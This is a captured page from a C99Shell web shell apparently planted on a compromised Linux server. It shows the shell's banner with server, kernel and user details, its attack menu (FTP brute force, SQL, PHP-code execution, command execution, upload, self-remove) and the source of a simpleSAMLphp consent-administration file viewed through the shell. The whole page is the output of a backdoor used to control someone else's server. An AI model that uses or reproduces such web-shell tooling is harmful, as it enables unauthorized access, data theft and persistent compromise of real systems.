!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/modules/consentSimpleAdmin/www/   drwxr-xr-x
Free 13.77 GB of 61.93 GB (22.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     consentAdmin.php (2.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * consentSimpleAdmin - Simple Consent administration module
 *
 * This module is a simplification of the danish consent administration module.
 *
 * @author Andreas Åkre Solberg <andreas.solberg@uninett.no>
 * @author Mads Freen - WAYF
 * @author Jacob Christiansen - WAYF
 * @package simpleSAMLphp
 * @version $Id$
 */


// Get config object
$config SimpleSAML_Configuration::getInstance();
$consentconfig SimpleSAML_Configuration::getConfig('module_consentSimpleAdmin.php');

$as $consentconfig->getValue('auth');
$as = new SimpleSAML_Auth_Simple($as);
$as->requireAuth();

// Get all attributes
$attributes $as->getAttributes();



// Get user ID
$userid_attributename $consentconfig->getValue('userid''eduPersonPrincipalName');
if (empty(
$attributes[$userid_attributename])) {
    throw new 
Exception('Could not generate useridentifier for storing consent. Attribute [' .
        
$userid_attributename '] was not available.');
}

$userid $attributes[$userid_attributename][0];

// Get metadata storage handler
$metadata SimpleSAML_Metadata_MetaDataStorageHandler::getMetadataHandler();

/*
 * Get IdP id and metadata
 */
if($as->getAuthData('saml:sp:IdP') != null) {
    
// From a remote idp (as bridge)
    
$idp_entityid $as->getAuthData('saml:sp:IdP');
    
$idp_metadata $metadata->getMetaData($idp_entityid'saml20-idp-remote');
} else {
    
// from the local idp
    
$idp_entityid $metadata->getMetaDataCurrentEntityID('saml20-idp-hosted');
    
$idp_metadata $metadata->getMetaData($idp_entityid'saml20-idp-hosted');
}
 
SimpleSAML_Logger::debug('consentAdmin: IdP is ['.$idp_entityid ']');

$source $idp_metadata['metadata-set'] . '|' $idp_entityid;


// Parse consent config
$consent_storage sspmod_consent_Store::parseStoreConfig($consentconfig->getValue('store'));

// Calc correct user ID hash
$hashed_user_id sspmod_consent_Auth_Process_Consent::getHashedUserID($userid$source);



// Check if button with withdraw all consent was clicked.
if (array_key_exists('withdraw'$_REQUEST)) {
    
    
SimpleSAML_Logger::info('consentAdmin: UserID ['.$hashed_user_id '] has requested to withdraw all consents given...');
    
    
$consent_storage->deleteAllConsents($hashed_user_id);
    
}



// Get all consents for user
$user_consent_list $consent_storage->getConsents($hashed_user_id);

$consentServices = array();
foreach(
$user_consent_list AS $c$consentServices[$c[1]] = 1;

SimpleSAML_Logger::debug('consentAdmin: no of consents [' count($user_consent_list) . '] no of services [' count($consentServices) . ']');

// Init template
$t = new SimpleSAML_XHTML_Template($config'consentSimpleAdmin:consentadmin.php');

$t->data['consentServices'] = count($consentServices);
$t->data['consents'] = count($user_consent_list);


$t->show();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4871 ]--